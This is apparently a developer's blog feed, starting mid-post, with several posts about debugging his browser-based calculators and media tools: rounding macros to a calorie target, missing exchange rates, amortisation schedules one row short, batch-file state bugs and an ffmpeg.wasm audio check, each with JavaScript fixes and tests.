check('trade-in over the price shows change',  row(over, 'Left over'), '5,000.00');

check('missing price names the price', car({ price: '' }).error, 'Enter a price greater than zero.');
check('missing rate names the rate',   car({ rate: '' }).error,  'Enter an interest rate.');

Two groups, because they fail for different reasons. The first breaks if someone reintroduces a truthiness check on an optional field. The second breaks if someone collapses the guards back into one line to save space. A single "does it error" assertion would pass while either happened.

And one assertion that is about the message rather than the maths:

check('the fallback no longer claims fields are empty',
    /fill in all fields/i.test(generic.error || ''), false);

What I would take from it

An error message is an assertion about the world, and it can be false. NaN > 0 === false is not a bug in JavaScript; treating that false as "the user made a mistake" is a bug in me. The code never established that a field was empty. It inferred it from a comparison that fails for four different reasons, and reported the inference as a fact, in the second person.

The one to watch for is a guard whose condition is about the result — p <= 0, !isFinite(x), total === 0 — but whose message is about the input. Those two are not connected by anything except habit, and every so often the result is zero because zero is the answer.

I build Utilorax, a set of free browser-based tools. This came out of the car loan calculator, which will now tell you what a car costs when you put nothing down — and what it costs when you pay cash, which is nothing.

You cannot round three numbers that have to add up to a fourth

Hammad Shams Uddin — Mon, 24 Aug 2026 19:36:19 +0000

A macro calculator takes a calorie target and splits it into grams of carbs, protein and fat. Mine did this:

const carb = cals * split[0] / 100 / 4;
const prot = cals * split[1] / 100 / 4;
const fat  = cals * split[2] / 100 / 9;

return `${Math.round(prot)} / ${Math.round(carb)} / ${Math.round(fat)} g`;

Ask it for 2,000 kcal on a 40/30/30 split and it says 150 / 200 / 67 g.

Multiply that back out — protein and carbs are 4 kcal a gram, fat is 9:

200 × 4  +  150 × 4  +  67 × 9  =  2,003

You asked for 2,000. It is not a big miss. It is a miss on the one thing the tool exists to do, and any user with a phone can find it, because adding up to the number you typed is the entire point of a split.

It was not one unlucky input either:

target	plan	it said	that is actually
2,000	balanced	150 / 200 / 67	2,003
2,000	keto	125 / 25 / 156	2,004
1,750	low carb	175 / 109 / 68	1,748
2,500	high protein	250 / 250 / 56	2,504

Every plan. Every time.

Why rounding each one cannot work

Because the three values are not independent. They have to satisfy

4c + 4p + 9f = calories

and Math.round does not know that. It rounds c to whatever is nearest to c, which is the right answer to a question nobody asked. The constraint is on the sum, and three separately-correct roundings do not add up to a correctly-rounded total.

This is the same family as a percentage table where the column has to total 100% and comes out at 99.9%. The usual fix there is largest-remainder: hand out the floors, then give the spare units to whoever was robbed most by rounding down.

That does not work here, and the reason is the interesting part.

The weights are 4, 4 and 9

In a percentage table every unit is worth the same, so you can move one from anywhere to anywhere. Here, moving a gram of carbs changes the total by 4, and moving a gram of fat changes it by 9. You cannot always close a gap of 3 kcal, because nothing in your inventory is worth 3.

So the order matters. Pick fat first, and pick it so that what is left over divides by 4 — because whatever is left has to be made up entirely of carbs and protein, and those only come in fours.

const want = kcal * split[2] / 100 / 9;      // ideal fat, in grams

for (let f = Math.round(want) - 3; f <= Math.round(want) + 3; f++) {
  const left = kcal - 9 * f;
  if (left < 0 || left % 4 !== 0) continue;  // no integer c,p can finish this
  const rest = left / 4;                     // carbs + protein, in grams
  const c = Math.round(rest * split[0] / (split[0] + split[1]));
  const p = rest - c;
  // ...
}

And the search never has to go far. 9 ≡ 1 (mod 4), so incrementing f by one shifts kcal - 9f by one modulo 4 — which means one fat value in every four consecutive integers satisfies the condition. A candidate always exists within two grams of the ideal. There is no failure case to handle, only a choice to make.

The first version was still wrong, and quietly

I originally took the nearest valid f and stopped. Every combination hit its calorie target exactly, the tests I had written passed, and I nearly shipped it.

Then I measured how far the grams had drifted from the ideal split, which is the other thing the tool is promising:

worst drift: 4.75 g on protein at 2,500 kcal keto

Keto puts 70% of the calories in fat, so fat is large, its rounding error is large in kcal, and all of that leftover lands on carbs and protein. Taking the first valid fat value meant taking whatever drift came with it.

There are usually several valid candidates in that ±3 window, and they do not cost the same. Scoring all of them by total drift and keeping the best brings the worst case down to 3.94 g — under 3% of that macro — while still landing exactly on the calorie target. Seven candidates is nothing to evaluate.

That is the general lesson and it is not about food:

Satisfying the constraint is necessary, not sufficient. The first solution that satisfies it is rarely the best one, and if you only assert on the constraint your tests will happily bless the worst member of the solution set.

Testing it

Sweeping, not sampling:

for (let cals = 800; cals <= 4000; cals += 25) {
  for (const p of Object.values(PLANS)) {
    const g = macroGrams(cals, p);
    if (g.kcal !== cals) miss++;
  }
}

516 combinations, and they all have to land exactly. Sampling round numbers would have been useless here — whether the bug shows depends on where the ideal fat value happens to fall relative to a multiple of four, and 2,000 kcal is exactly the kind of tidy input that could have gone either way.

The drift bound in the test is the measured number, not a guess:

// 3.94 g is what the algorithm actually holds across the swept range,
// on protein in a keto split. Four is that, rounded up.
check('no macro drifts more than 4 g from its ideal', worst <= 4, true);

Writing worst <= 10 because it passes is not a test, it is a formality. Writing worst <= 3 because it sounds tidy fails on an input that is perfectly fine. Measure the bound, then assert it.

And say the number

The last change was not code:

Protein            149 g
Carbohydrates      198 g
Fat                 68 g
These add up to  2,000 kcal

The reader was going to multiply it out anyway. Better that the page does it first.

I build Utilorax, a set of free browser-based tools. This came out of the macro calculator, which now hands you three numbers that add up to the one you asked for.

A missing exchange rate is not an exchange rate of 1

Hammad Shams Uddin — Thu, 20 Aug 2026 12:56:18 +0000

This is a submission for DEV's Summer Bug Smash: Smash Stories powered by Sentry.

var fx = (rates.rates && rates.rates[v.currency]) || 1;

That line converts a crypto price into whatever currency the visitor picked. It has been on my site for months. It is one line, it reads like defensive programming, and it is capable of being wrong by a factor of 280.

What `|| 1` means here

The rate table comes from a currency API. When that API fails, my server-side cache falls back to the only rate it can be sure of:

return $c['data'] ?? ['USD' => 1.0];

Which is honest. USD => 1.0 is true, and the fallback contains nothing it cannot vouch for.

Then the browser asks that table for PKR, gets undefined, and || 1 turns "I don't have that" into "the rate is 1".

So the page renders:

1 BTC = 95,000.00 PKR

The real figure is about 26,600,000. And there is no asterisk, no greyed-out state, no "approximate" — it looks exactly like the correct answer, because it is produced by exactly the same code path as the correct answer.

The second one, in the same function

Three lines down:

var ago = rates.cached_age_sec != null ? Math.round(rates.cached_age_sec / 60) : 0;
...
note: 'Live spot price, updated about ' + (ago <= 0 ? 'just now' : ago + ' min ago')

cached_age_sec is null when the cache layer cannot say how old the figure is. The ternary is careful — it checks for null — and then maps that null onto 0. One line later, 0 is read as "updated just now".

The one case where the freshness is genuinely unknown is the case that produces the most reassuring sentence on the page.

The shape

Both are the same mistake wearing different clothes:

A value that was absent, replaced by a plausible default, and then rendered with the same confidence as a measured one.

The defaults are not stupid. A rate of 1 is the identity. An age of 0 is the neutral element. In isolation each choice looks like the sensible thing to reach for when something is missing. The damage is done at the point of display, where the substitute and the real thing become indistinguishable.

And it is worse than crashing. A crash is a bad experience that tells the truth. This tells a confident lie in the visitor's own currency.

The part that makes it embarrassing

The correct handling was already in the file. Twenty lines above, the plain currency converter has always done this:

var fr = rates.rates[v.from], to = rates.rates[v.to];
if (!(fr > 0) || !(to > 0)) {
  return { error: 'That currency is not in the live feed.' };
}

Same file. Same rate table. Same author. One engine refuses; the two next to it substitute. Nothing distinguishes them except which one I happened to write while thinking about failure.

That is the real lesson and it is not about currencies: defensive habits do not generalise on their own. Getting it right once in a file is not evidence the file is right. It is one data point about one function.

The fixes

Refuse, and name what is missing:

var fx = (rates.rates && rates.rates[v.currency] > 0) ? rates.rates[v.currency] : null;
if (fx === null) {
  return { error: 'Live rates for ' + (v.currency || 'that currency')
    + ' are unavailable right now — try USD, or refresh in a moment.' };
}

Note > 0 rather than a truthiness check. A rate of 0 is as unusable as a missing one, and undefined > 0 is false, so the two collapse into the same branch without a separate test.

And let unknown stay unknown:

function freshness(age, unit) {
  if (age === null || age === undefined) { return 'age unknown'; }
  if (age <= 0) { return 'updated just now'; }
  return 'updated about ' + age + ' ' + unit + ' ago';
}

Three sentences for three states, instead of two sentences for three states. The bug was entirely in that missing third branch.

Testing a feed that has failed

Neither bug is reachable by using the page. The upstream API has to be partially down — up enough to return a table, broken enough that your currency is not in it. I have never once seen that state in a browser, and I never will on purpose.

So the engines had to become reachable from a test. They live in a browser IIFE, so they got the same export guard the widgets file already used:

if (typeof module !== 'undefined' && module.exports) {
  module.exports = { ENGINES, freshness, trueCost };
}

Then the fixture is the whole point — a feed that is deliberately, plausibly incomplete:

const feed = {
  coins: { bitcoin: 95000 },        // but not dogecoin
  rates: { USD: 1, EUR: 0.92 },     // but not PKR
  cached_age_sec: 120,
};

That is not a made-up shape. It is precisely what the server returns when the currency provider is down and the crypto provider is not: ['USD' => 1.0] and nothing else.

One of the nineteen assertions is about a function I did not change:

const bad = ENGINES.currencyConvert({ amount: '100', from: 'USD', to: 'PKR' }, fx);
check('and a missing one was always refused', typeof bad.error === 'string', true);

It cannot fail today. It is there so the three engines that read the same table cannot quietly drift apart again — which is how they got out of step in the first place.

I build Utilorax, a set of free browser-based tools. This came out of the crypto price converter and the gold & silver price calculator, both of which now tell you when they don't know rather than guessing on your behalf.

Your amortisation schedule is one row short, and only sometimes

Hammad Shams Uddin — Thu, 20 Aug 2026 09:20:13 +0000

This is a submission for DEV's Summer Bug Smash: Smash Stories powered by Sentry.

You cannot be billed $1,896.2027.

That is the whole bug, and I had it in a loan calculator and an amortisation schedule for months without noticing, because on most of the numbers I tested with it makes no difference at all.

The line

Standard amortisation. Work out the monthly payment, then walk the balance down month by month:

let pay = principal * r / (1 - Math.pow(1 + r, -n));

let balance = principal;
while (balance > 0.005) {
  const interest      = balance * r;
  let   principalPart = pay - interest;
  if (principalPart > balance) principalPart = balance;   // final payment
  balance -= principalPart;
  rows.push({ payment: principalPart + interest, interest, balance });
}

That is correct arithmetic and it is not what happens to you.

pay comes out of that formula as something like 1896.2027149.... The schedule then charges 1896.2027149... every month for thirty years. Your lender charges you $1,896.20, because money has two decimal places, and the two-hundredths of a cent they are not collecting has to come from somewhere.

What it costs

$300,000 at 6.5% over 30 years, run both ways:

	payments	last payment
unrounded `1896.2027…`	360	$1,896.20
rounded `1896.20`	361	$4.53

The schedule said the loan ends in month 360. In reality there is a 361st bill for $4.53, because paying two-hundredths of a cent less each month leaves $4.53 of principal standing when the schedule thinks you are done.

Four dollars is not the point. The number of rows is wrong, and that is the one thing an amortisation schedule exists to tell you.

Why it survived

Here is the same comparison on a different loan:

	payments	last payment
unrounded	360	$1,380.51
rounded	360	$1,379.86

$250,000 at 5.25%, and both methods land on 360. The rounding happens to fall the other way and the stub is absorbed by the final payment.

So the bug is real, reproducible, and invisible on plenty of ordinary inputs. Any test suite built from round numbers — $250,000, 5%, 30 years — passes with it in. Mine would have.

This is a shape worth recognising, because it is not really about money:

A test case that agrees with both the correct and the incorrect implementation is not evidence of anything. It feels like coverage. It is the absence of coverage, dressed up.

When I wrote the tests afterwards I deliberately kept the $250,000 case in, alongside the $300,000 one. Not because it catches the bug — it cannot — but because a fix that only works on the input that exposed the problem is not a fix, and I want to know if I ever break the agreeing case too.

The fix is one line and one consequence

let pay = principal * r / (1 - Math.pow(1 + r, -n));
pay = Math.round(pay * 100) / 100;      // a lender bills to the cent

The consequence is that the loop has to be allowed to run past n. If you wrote for (let m = 0; m < n; m++) you now silently drop the stub payment and end with a non-zero balance, which is worse than where you started — the schedule is still 360 rows but now it does not add up. The while (balance > 0.005) form handles it, with a guard so a pathological rate cannot spin forever.

The same mistake, upstairs

The summary calculator had its own version:

const emi   = principal * r * Math.pow(1+r, n) / (Math.pow(1+r, n) - 1);
const total = emi * n;                    // <- both wrong things at once

total multiplies the unrounded payment, while the page prints the rounded one. So "Monthly payment $1,896.20" and "Total of payments $682,633.47" are not consistent with each other: a visitor with a phone can multiply 1896.20 by 360, get $682,632.00, and be right that something is off.

And it assumes the term is exactly n payments, which is the bug above wearing a different hat.

Running the real schedule fixes both, and 360 iterations of arithmetic costs nothing:

function trueCost(principal, monthlyRate, months) {
  let pay = principal * monthlyRate / (1 - Math.pow(1 + monthlyRate, -months));
  pay = Math.round(pay * 100) / 100;

  let balance = principal, paid = 0, interest = 0, count = 0;
  while (balance > 0.005 && count < months + 600) {
    count++;
    const i = balance * monthlyRate;
    let principalPart = pay - i;
    if (principalPart > balance) principalPart = balance;
    balance -= principalPart;
    if (balance < 0.005) balance = 0;
    interest += i;
    paid += principalPart + i;
  }
  return { payment: pay, months: count, total: paid, interest };
}

It also gives you the number of payments for free, which is worth showing — it is the answer to "when am I actually finished", and it is not always the number you typed in.

Tests a borrower could run

The assertions that turned out to be worth the most are the ones checkable against a real statement, not against another implementation of the same formula:

every dollar of principal is repaid — no more, no less
interest plus principal equals what was paid
the final balance is exactly zero, not 1e-9
the payment is a whole number of cents
an extra $200 a month shortens the term and costs less interest

None of those restate the amortisation formula, which is the point. A test that recomputes principal * r / (1 - (1+r)^-n) and compares it to the code passes whether or not the code is right about anything else.

I build Utilorax, a set of free browser-based tools. This came out of the loan calculator, the mortgage calculator and the amortisation schedule, all three of which now count the 361st payment.

I made twenty tools take twenty files. Every bug was state that outlived one file.

Hammad Shams Uddin — Wed, 19 Aug 2026 16:56:10 +0000

This is a submission for DEV's Summer Bug Smash: Smash Stories powered by Sentry.

My browser-based tools each took exactly one file. Converting twenty tracks meant twenty page loads, and on the background remover each of those re-downloaded a 44 MB segmentation model to do three seconds of work.

So I put a loop around the work. That is genuinely most of it — read the settings once, run them over each file, collect the results, zip them.

Then I tested it in a real browser and found three bugs. They look unrelated. They are the same bug: something that was fine as a single value became wrong the moment there were two files, and none of them announced itself.

Bug one: the second file overwrote the first

The single-file version wrote into a fixed name on ffmpeg.wasm's virtual filesystem:

function runSingle(o) {
  const inN  = 'in.'  + ext(files[0].name);
  const outN = 'out.' + pick.ext;
  // ...
}

That filesystem is shared for the whole session, not per call. Loop it, and clip two writes in.mp4 over clip one — which, if you are unlucky with timing, is not even a crash. It is a correct-looking output that contains the wrong video.

The fix is boring: the index goes in the name.

function runSingle(o, file, idx) {
  const inN  = 'in'  + idx + '.' + ext(file.name);
  const outN = 'out' + idx + '.' + pick.ext;

What is not boring is the second half. A file that fails leaves its input behind, and the next twelve files then run in a workspace that is filling up with dead inputs. So the cleanup has to happen on the failure path too, not just the success one:

  }).then(function (data) {
    drop(inN); drop(outN);
    return data;
  }, function (e) {
    drop(inN); drop(outN);   // <- the one people forget
    throw e;
  });

Bug two: the array that was empty for the whole run

This is the one worth the article.

Two output files can want the same name. song.wav and song.flac both convert to song.mp3, and a zip quietly keeps only the last of a repeated name — so one of the two conversions silently vanishes. I wrote a dedupe for it:

const out = {
  name: uniqueName(stem + '.png', outputs),   // compare against what we have so far
  blob: blob
};

And a preview, so a batch shows a picture rather than only a list of names:

if (!outputs.length) { showPreview(blob); }   // only the first one

Both read outputs. And outputs is assigned like this:

series(files, job).then(function (res) {
  outputs = res.done;      // <- after every file has finished
  render(outputs);
});

So for the entire duration of the run — the only time those two lines execute — outputs is [].

The consequences are not symmetrical, which is why this took a test to catch:

!outputs.length was always true, so every file overwrote the preview. The batch appeared to work and showed the last image. Nothing looked broken; the preview was just the wrong file, and only if you knew which one you dropped first would you notice.
uniqueName(want, []) never found a clash, so cat.png and cat.jpg both produced cat-no-bg.png and the zip contained one of them. The results list on screen showed the name twice, which is the only reason I looked.

The fix is one line and it is not the dedupe:

const made = [];                       // accumulate where the work happens
series(files, function (f, i) {
  return job(f, i).then(function (out) {
    const o = { name: uniqueName(stem, made), blob: out };
    if (!made.length) { showPreview(out); }
    made.push(o);
    return o;
  });
}).then(function (res) { outputs = res.done; });

The general shape:

A variable assigned from a promise's result is empty for exactly as long as the work that produces it is running. If anything inside that work reads it, it reads the empty version, every time.

It is easy to miss because the code reads correctly in the order it is written. outputs = res.done sits above render(outputs) and below the loop, so it looks like it happens between them. It happens after both.

Bug three: an operation completing is not evidence it did anything

I have written about this one before, and batching brings it back sharper. ffmpeg.run() resolves whether ffmpeg succeeded or not. With one file, a silent failure means the visitor sees an error a moment later and tries again. With twenty, one silent failure means nineteen good files and one wrong one, in a zip, unremarked.

So each iteration has to judge the output, not the promise:

const data = ffmpeg.FS('readFile', outN);
if (!data || !data.length) {
  throw new Error('ffmpeg wrote no output for ' + file.name);
}

And the failure has to be per-file rather than fatal. One unreadable file out of twenty must not cost someone the other nineteen — it should be named on the results page, next to the files that worked:

alpha.mp3          7 KB   Save
song.mp3           6 KB   Save
song (2).mp3       5 KB   Save
1 file could not be processed and is not included. broken.wav

Sequential, not Promise.all

Worth saying because it looks like the obvious optimisation. There is one ffmpeg instance behind one core and one ONNX session. Running the files concurrently does not make them finish sooner; it interleaves them, multiplies peak memory by the number of files, and turns a readable progress bar into a lie.

The batch is a reduce over promises, and the bar gives each file an equal slice:

function setProgress(r) {
  const p = Math.round(((done + clamp01(r)) / total) * 100);
  bar.style.width = p + '%';
}

How I actually found these

None of the three would have been caught by reading the diff, and two of them produce a page that looks like it worked.

They came out of driving the shipped page in a real browser: build the fixtures in JavaScript, hand them to the widget as a synthetic DataTransfer, click the button, and read the DOM afterwards. The fixtures are the part that matters — four files where two deliberately fight over one output name and one is eight bytes of garbage:

dt.items.add(file('alpha.wav', wav(0.5, 440)));
dt.items.add(file('song.wav',  wav(0.4, 300)));
dt.items.add(file('song.m4a',  wav(0.3, 600)));   // same stem -> collision
dt.items.add(file('broken.wav', new Uint8Array([1,2,3,4,5,6,7,8]).buffer));

A happy-path batch of three well-named valid files passes with all three bugs present. That is not a test; it is a screenshot with extra steps.

I build Utilorax, a set of free browser-based tools. The batch now runs on the audio converter, the video converter and the background remover — nothing is uploaded, so the loop and the failures are all on your own machine.

The file existed, so I assumed the check passed

Hammad Shams Uddin — Fri, 14 Aug 2026 22:44:18 +0000

A user sent me two clips and a screenshot. My video merge tool had run to 100%, said "Applying transitions…", and then thrown:

FS error: readFile 'merged.mp4'

The error is honest and useless. merged.mp4 does not exist. It does not say why, because by the time you ask, the thing that should have made it has already finished and moved on.

The cause turned out to be four functions upstream, and the shape of the mistake is one I keep meeting: a check that tests whether something exists when the question was whether it has a particular property.

What the tool does

Merging clips with different sizes and formats means normalising them first — same dimensions, same frame rate, same codecs — and only then joining. If the user asked for a transition, the join is an xfade for the picture and an acrossfade for the sound.

That second one matters more than it looks.

The check

Normalising ran this per clip:

ffmpeg.run('-i', inN, '-vf', vf,
           '-c:v', 'libx264', '-preset', 'veryfast', '-crf', '23',
           '-c:a', 'libmp3lame', '-b:a', '128k', outN)
  .then(() => {
    try {
      ffmpeg.FS('readFile', outN);
    } catch (e) {
      // no audio in this clip — redo it with a silent track
      return ffmpeg.run(/* ...anullsrc version... */);
    }
  });

Read the intent: if the encode failed because the source had no audio, redo it with generated silence, so every input to the transition has a sound track.

Read what it does: if the output file is missing, redo it.

Those are not the same sentence, and the gap between them is the bug.

Give ffmpeg a video-only file and ask it to encode audio with -c:a libmp3lame, and it does not fail. There is no audio stream, so it encodes the video, writes no audio stream, and exits successfully. The file exists. The catch never runs. The silence fallback — written specifically for this case — never fires.

Then the transition builds its filter graph:

[0:a][1:a]acrossfade=d=0.5[aout]

[0:a] does not exist. The graph fails, no output is written, and one .then() later you get an error about merged.mp4.

Why it survived

Two reasons, and the second is the interesting one.

Clips with sound worked perfectly. Every file I had tested with was a screen recording with audio or a phone video. The failing case is a clip with no audio track at all — which describes every AI-generated clip, most screen recordings, and any video someone has already stripped the sound from. It is not an edge case. It is a whole category of ordinary file I did not happen to own.

And ffmpeg.wasm does not reject on ffmpeg failure. ffmpeg.run() resolves whether the command succeeded or not. A filter graph that fails produces no output and no rejection, so the await returns normally and execution carries on into code that assumes the file is there. Every error in this class arrives late and blames the wrong line.

The fix is to ask the actual question

You cannot infer "has an audio stream" from "a file appeared". So ask:

function hasAudio(name) {
  const probe = 'probe_' + name + '.mka';
  return ffmpeg.run('-i', name, '-vn', '-map', '0:a:0', '-c', 'copy', '-t', '0.05', probe)
    .then(() => {
      let found = false;
      try { found = ffmpeg.FS('readFile', probe).length > 0; } catch (e) { found = false; }
      try { ffmpeg.FS('unlink', probe); } catch (e) {}
      return found;
    })
    .catch(() => false);
}

-map 0:a:0 names the first audio stream. If there is no audio stream, the mapping cannot be satisfied and nothing is written. It is a stream copy of 50 milliseconds, so it costs nothing beside the encode that follows, and the answer is about the thing I actually care about.

Then the command is chosen once, rather than attempted and repaired:

const args = audible
  ? ['-i', inN, '-vf', vf, /* ... */ '-c:a', 'libmp3lame', outN]
  : ['-i', inN, '-f', 'lavfi', '-i', 'anullsrc=channel_layout=stereo:sample_rate=44100',
     '-shortest', '-map', '0:v', '-map', '1:a', '-vf', vf, /* ... */ outN];

I did consider reading ffmpeg's log output for Stream #0:1: Audio: instead. It works, and I did not use it, because 0.11 and the 0.12 adapter surface logging differently and I would have had two code paths to keep true. A probe behaves identically on both.

Testing something that only runs in a browser

There is no ffmpeg binary on my machine or my server — the whole point is that this runs in the user's browser via WebAssembly. And headless Chrome's virtual time does not advance a web worker, so the usual scripted approach hangs at the first run().

What worked: a page that builds its own fixtures with lavfi, runs the real checks, and POSTs its results back to a PHP file so the run can outlive any screenshot timing.

made sil.mp4=28362B snd.mp4=48141B
ok   snd.mp4 -> hasAudio=true    (expected true)
ok   sil.mp4 -> hasAudio=false   (expected false)
ok   acrossfade on silent clips produces no output

That third line is the one worth writing. It is not a test of the fix — it is a test of the diagnosis. Before trusting the repair, prove the thing you blamed actually misbehaves the way you claim. I have shipped fixes for problems I had misdiagnosed, and they are worse than the original bug, because now the symptom is gone and the cause is still there.

The general version

The bug is not really about ffmpeg. It is this:

An operation completing is not evidence that it did what you wanted. It is evidence that it did not crash.

Some places the same shape shows up:

a file exists, so the write must have contained data
an HTTP request returned 200, so the response must be the resource you asked for
a command exited 0, so it must have produced output
a catch block did not run, so the happy path must have happened

Each of those is a check on the wrong noun. The fix is always the same and always feels like extra work: name the property you actually depend on, and ask about that — not about whatever is easiest to observe nearby.

And add the belt-and-braces, because you will get it wrong again somewhere. If the transition now fails for a reason I have not thought of, the tool joins the clips without one and says so, rather than handing anyone FS error: readFile 'merged.mp4'.

I build Utilorax, a set of free browser-based tools — this one came out of the video merger, which does now handle a silent clip.

DEV Community: Hammad Shams Uddin

invalid_grant: my service account was fine. My laptop's clock was three days slow.

The header was the evidence

Why that is fatal to a signed token, and to nothing else

Two minutes that would have saved an hour

The one thing that went right

The backdoor was a database row

What a file scanner was asked to find

The only authority that worked

Two things I got wrong, out loud

What the database knew that the filesystem did not

What I would take from it

My robots.txt check passed for six days on an attacker's robots.txt

The check

How a static file beat a dynamic one

Three instruments, one blind spot each

What changed

And then the fix was invisible

What I would take from it

Page 999 of my 5-page blog returned 200 and said it was canonical

The pager

The clamp was never the bug

Why this shape is worth recognising

What I cannot claim

Testing it

96% of my labels were translated. The other 4% could never be.

The string does not exist until the reader types

How many

The first count was wrong

The fix is to translate the shape

Verifying it end to end

The two assertions I would keep

What I would take from it

Break-even is not a profit, and my calculator said it was

One ternary, three answers

"Beats inflation" is the one that bothers me

The eighth one, which was worse than wrong

Rounding before comparing is the actual fix

The third colour

Testing the boundary and both sides of it

What I would take from it

Every field was filled in. The error message said otherwise.

Three different situations, one guard

I checked whether it was just this one

But be honest about the scale

The fix, which is mostly just splitting the line up

Testing the two halves separately

What I would take from it

You cannot round three numbers that have to add up to a fourth

Why rounding each one cannot work

The weights are 4, 4 and 9

The first version was still wrong, and quietly

Testing it

And say the number

A missing exchange rate is not an exchange rate of 1

What || 1 means here

The second one, in the same function

The shape

The part that makes it embarrassing

The fixes

Testing a feed that has failed

Your amortisation schedule is one row short, and only sometimes

The line

What it costs

Why it survived

The fix is one line and one consequence

The same mistake, upstairs

Tests a borrower could run

I made twenty tools take twenty files. Every bug was state that outlived one file.

Bug one: the second file overwrote the first

Bug two: the array that was empty for the whole run

Bug three: an operation completing is not evidence it did anything

Sequential, not Promise.all

How I actually found these

The file existed, so I assumed the check passed

What the tool does

The check

Why it survived

The fix is to ask the actual question

Testing something that only runs in a browser

What `|| 1` means here